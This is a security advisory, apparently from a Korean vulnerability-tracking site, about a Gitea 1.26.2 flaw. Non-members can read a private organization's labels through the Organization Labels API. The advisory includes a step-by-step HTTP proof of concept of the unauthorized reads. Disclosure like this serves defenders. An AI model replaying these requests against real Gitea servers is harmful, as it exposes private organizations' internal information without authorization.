Gitea: Unauthorized Access to Labels of Private Organizations
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N상세 설명
Summary
Gitea 1.26.2 does not properly enforce organization visibility restrictions on organization label read endpoints.
A user without access to a private organization can retrieve labels belonging to that organization through the Organization Labels API. As a result, label metadata intended to be restricted to organization members may be disclosed.
The issue is limited to unauthorized read access. No unauthorized modification of labels was observed.
Details
The following endpoints are affected:
GET /api/v1/orgs/{org}/labelsGET /api/v1/orgs/{org}/labels/{id}
During testing, a private organization was created and a label was added to that organization.
Access to the organization itself was correctly restricted. A user without membership in the organization received a 404 Not Found response when requesting organization information.
However, the same user was still able to retrieve organization labels through the endpoints listed above.
For comparison, other organization-scoped endpoints such as:
GET /api/v1/orgs/{org}/teamsGET /api/v1/orgs/{org}/hooksGET /api/v1/orgs/{org}/actions/secrets
correctly denied access to unauthorized users.
The label endpoints returned the full Label object, including fields such as:
idnamedescriptioncolorurl
Write operations were tested separately and remained protected by authorization checks.
PoC
Setup
Create a private organization:
1POST /api/v1/orgs 2Authorization: token <owner_token> 3 4{ 5 "username": "target-org", 6 "visibility": "private" 7}Create a label:
1POST /api/v1/orgs/target-org/labels 2Authorization: token <owner_token> 3 4{ 5 "name": "internal-label", 6 "color": "#aabbcc", 7 "description": "private organization label" 8}Verify that the organization is not accessible to a non-member:
1GET /api/v1/orgs/target-org 2Authorization: token <non_member_token>Response:
1HTTP/1.1 404 Not FoundRetrieve all labels
Request:
1GET /api/v1/orgs/target-org/labels 2Authorization: token <non_member_token>Observed response:
1HTTP/1.1 200 OKThe response contains labels belonging to the private organization.
Retrieve a specific label
Request:
1GET /api/v1/orgs/target-org/labels/1 2Authorization: token <non_member_token>Observed response:
1HTTP/1.1 200 OKThe full Label object is returned.
Verify write protection
Request:
1PATCH /api/v1/orgs/target-org/labels/1 2Authorization: token <non_member_token>Response:
1HTTP/1.1 403 ForbiddenPoC Details
https://anonymous.4open.science/r/Gitea_PoC-EC93/2_poc_private_org_labels_leak
Impact
Users who are not authorized to access a private organization can obtain label metadata associated with that organization.
Depending on how labels are used, this may disclose internal organizational information contained in label names or descriptions.
The issue affects confidentiality only. No integrity or availability impact was observed.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 7
링크 내용 불러오는 중…